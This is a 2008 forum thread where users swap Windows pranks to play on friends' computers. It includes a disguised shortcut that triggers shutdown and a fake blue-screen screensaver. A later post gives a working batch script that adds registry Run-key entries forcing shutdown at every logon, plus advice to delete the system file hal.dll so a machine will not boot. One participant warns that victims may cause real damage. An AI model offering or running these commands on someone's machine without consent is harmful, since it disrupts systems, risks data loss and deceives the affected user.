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« on: 26/03/2008 22:52:48 »
LOL I love annoying people with computer pranks..!
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The best one is just creating a new shortcut..

Right-click on your desktop, and go to New, Shortcut..

Type in there, Shutdown -s -c "You have a virus"

And name that as Internet Explorer

Then right click on that icon you just made, and go to Properties, Change Icon, and change it to the one that looks like the original internet icon!!

Then delete the original Internet Explorer icon, and replace it with the one you just made!
So when they click on it, it shuts their computer off [;D]
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« Reply #1 on: 27/03/2008 00:26:24 »
OMG! seanys back wassup dude
if the pen is mightier than the sword then imagine how powerfull the printer is

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« Reply #2 on: 27/03/2008 10:54:58 »
I am OK..  Great to be back though [;D]
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« Reply #3 on: 27/03/2008 18:40:04 »
You're a naughty boy!  [:P]
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« Reply #4 on: 27/03/2008 22:50:59 »
LOL it's really fun when you're boarding.. And since everyone has a laptop.. You know lol [;D]
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« Reply #5 on: 28/03/2008 00:26:19 »
where did you learn to do this
if the pen is mightier than the sword then imagine how powerfull the printer is

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« Reply #6 on: 28/03/2008 10:54:12 »
A friend [;D]
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« Reply #7 on: 28/03/2008 16:34:51 »
A friend [;D]
He's devious enough to find out for himself, like I was. I found the blue screen of death screensaver and had a ball with that.
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« Reply #8 on: 28/03/2008 16:37:05 »
Naughty boys must play!

"Life is not measured by the number of Breaths we take, but by the moments that take our breath away."

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« Reply #9 on: 28/03/2008 16:47:06 »
I find setting fire to a friends computer always brings a happy smirk, a chortle and a guffaw !!


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....and even though their life's work and records and once only data is destroyed forever they always see the funny side of it too.......which is nice....


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« Reply #10 on: 28/03/2008 16:47:20 »
LOL what's a death screensaver?
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« Reply #11 on: 28/03/2008 16:47:50 »
I find setting fire to a friends computer always brings a happy smirk, a chortle and a guffaw !!


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LOL!! Neil you must tell me how I can do this to a Laptop rather than a Desktop!!! [;D]


....and even though their life's work and records and once only data is destroyed forever they always see the funny side of it too.......which is nice....



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« Reply #12 on: 28/03/2008 16:57:16 »
Wholly shmolly!

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« Reply #13 on: 28/03/2008 22:46:46 »
LOL care to think that as a prank [;D]
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« Reply #14 on: 29/03/2008 23:34:25 »
This is the "blue screen of death." I it for the NT operating system.



The screen saver - a free download - is available at http://www.sureshotsoftware.com/bluesaver/index.html This a program that will imitate whichever of  the particular windows operating system it is installed on.

I installed this on a fiend's machine once and just left innocently. About 4 days later he called me and told me he just could not figure out what was going on. He absolutely going crazy. After listening to his tale of woe for about ten minutes and talking of possible solutions I interrupted him and said something to the effect - "you know, I think I heard from a programmer friend that while Microsoft was developing Win 95 one of their programmers made a screen saver as a prank. A guy would go the the bathroom and while he was gone his machine would "blue screen". Next time you restart your machine, first look on the web to see if that was published somewhere and find out what files are installed by this program."

20 minutes later he called me and thanked me profusely.

The story about how this screen saver first came into being is true.   

But - it could cause a lot of grief as well.

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« Reply #15 on: 29/03/2008 23:48:49 »
OOOh I hate that screen! LOL! Ive seen it alot just before my computers died!

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« Reply #16 on: 29/03/2008 23:58:19 »
Hmm I can't seem to download it!
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« Reply #17 on: 30/03/2008 00:29:28 »
Sorry to be boring, but do be careful with such pranks though.
If the "victim" doesn't know what's going on they may well cause *real* damage (or loss of files etc) to their computer trying to fix the fake-problem.
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« Reply #18 on: 30/03/2008 00:42:36 »
Hmm I can't seem to download it!

Several anti-virus programs Add it into their virus definition list.

Sorry to be boring, but do be careful with such pranks though.
If the "victim" doesn't know what's going on they may well cause *real* damage (or loss of files etc) to their computer trying to fix the fake-problem.

I tried to warned against it this possibility, probably not strongly enough.
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« Reply #19 on: 01/04/2008 13:32:26 »
I find setting fire to a friends computer always brings a happy smirk, a chortle and a guffaw !!


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....and even though their life's work and records and once only data is destroyed forever they always see the funny side of it too.......which is nice....



Whoa! I never thought of that!
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« Reply #20 on: 01/04/2008 13:35:15 »
Yeah a kid in my class, not ben, just came it and said he's gonna do what seany did to some friends today. since its  april 1st and all.

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« Reply #21 on: 01/04/2008 13:45:34 »
LOL LOL.. Tell me how it goes [;D]
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« Reply #22 on: 01/04/2008 13:49:10 »
he's a ***** i don' talk to him. i just over hear convos' ha

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« Reply #23 on: 01/04/2008 13:50:02 »
he's a ***** i don' talk to him. i just over hear convos' ha
Hm, I know who it is now.
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« Reply #24 on: 01/04/2008 13:52:00 »
Travis ben

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« Reply #25 on: 01/04/2008 14:06:52 »
LOL.. Is he on this forum?
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« Reply #26 on: 01/04/2008 17:42:11 »
Nothing is absolute. It takes a thousand people to make a stereotype, only one to grind it into the dust.

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« Reply #27 on: 01/04/2008 17:42:35 »
LOL.. Is he on this forum?
No, and be thankful for that.
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« Reply #28 on: 01/04/2008 17:43:40 »
Travis ben
Wait one-
I see through you subtlety! Why do you have to be so mean??
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« Reply #29 on: 01/04/2008 17:51:36 »
LOL.. It's called SCHOOL
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« Reply #30 on: 01/04/2008 17:53:29 »
LOL.. It's called SCHOOL
nnnnnnnnnnoooooooo it's called subtlety that he thought I wouldn't see through!
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« Reply #31 on: 01/04/2008 17:54:37 »
What.. Are you Ben Travis?
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« Reply #32 on: 02/04/2008 13:08:05 »
What.. Are you Ben Travis?
No.
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« Reply #33 on: 02/04/2008 13:09:54 »
Nah his was an acutal virus..

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« Reply #34 on: 02/04/2008 13:43:49 »
LOL.. Is he on this forum?
He is now, batten down the hatches.
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« Reply #35 on: 02/04/2008 13:44:50 »
OK!
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« Reply #36 on: 02/04/2008 13:51:22 »
that is called a fake trojan virus and i am travis the one kraner was talking about haha lawl

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« Reply #37 on: 02/04/2008 13:54:43 »
Ohhh hi travis [;D]
Weird screenname wiwth all the letters and numbers
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« Reply #38 on: 02/04/2008 14:35:59 »
lol ya i love this name because i play a game and that is my screename lol its a diff version of get owned but its merked... lol. and hi

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« Reply #39 on: 02/04/2008 14:41:24 »
wat
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« Reply #40 on: 02/04/2008 17:46:04 »
wat
Don't sweat it Seany, he doesn't completely speak your language. and I mean english not korean SA.
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« Reply #41 on: 03/04/2008 11:23:32 »
What's SA after the Korean? [???]

And OK.
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« Reply #42 on: 03/04/2008 14:28:23 »
What's SA after the Korean? [???]

And OK.
Smart aleck.
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« Reply #43 on: 03/04/2008 21:05:59 »
Never heard of it.
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« Reply #44 on: 04/04/2008 13:39:06 »
Never heard of it.
Really? That's too bad.
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« Reply #45 on: 05/04/2008 21:40:41 »
K.
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« Reply #46 on: 07/05/2008 16:34:45 »
Just thought I'd add another prank:)

Take a screen-grab of the desktop and then just display it full-screen, using an appropriate image display.  A variation on this is to take a screen-grab of someone else's desktop and display that instead.

If you want to put a bit more effort into the prank, use the screen-grab as a basis for a full-screen PowerPoint presentation.
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« Reply #47 on: 25/05/2008 16:35:06 »
Nice trick, you could improve it thought by putting into the short cut:

Code: newbielink:javascript:void(0); [nonactive]
shutdown -s -f -t 05 -c "gotcha!"
The "-f" forces programs to shutdown when the timer runs out, an added nasty surprise  [:)]

Another prank, (albeit most annoying), is to execute the following code...:

Code: newbielink:javascript:void(0); [nonactive]
@echo on
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set DSSKEY="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg add %DSSKEY% /v Shutdown /t REG_SZ /f /d "shutdown -s -f -t 90 -c byeeeee!"
set DSSKEY="HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg add %DSSKEY% /v Shutdown /t REG_SZ /f /d "shutdown -s -f -t 90 -c byeeeee!"
set DSSKEY="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg add %DSSKEY% /v Shutdown /t REG_SZ /f /d "shutdown -s -f -t 90 -c byeeeee!"
shutdown -s -f -t 00
exit

This should cause the computer to shutdown after 90 seconds when you've logged on. You can to stop the computer turning off is to just delete the registry values or each time just run "shutdown -a".

If you delete the following "C:\Windows\system32\hal.dll", and it will gaurantee your peer to spend quite a time working out whats gone wrong  [;)]Basically, its a system file, or to be more exact, a "dynamically linked library", which mainly get executed by the system. Anyway, this one in particular communicates between the software and the hardware and is crucial to the running of the computer. As with all of the above pranks, it doesn't do any damage to files on your computer (with the exception of itself). You can use the microsoft system recovery disk to get your computer up and running again after that, or just boot off another HD and copy it accross to the HD that is missing hal.dll

You can also get a few great programs from freewarehome.com.

All the above "pranks" are only compatible with windows, and i do not condone anything you do with them
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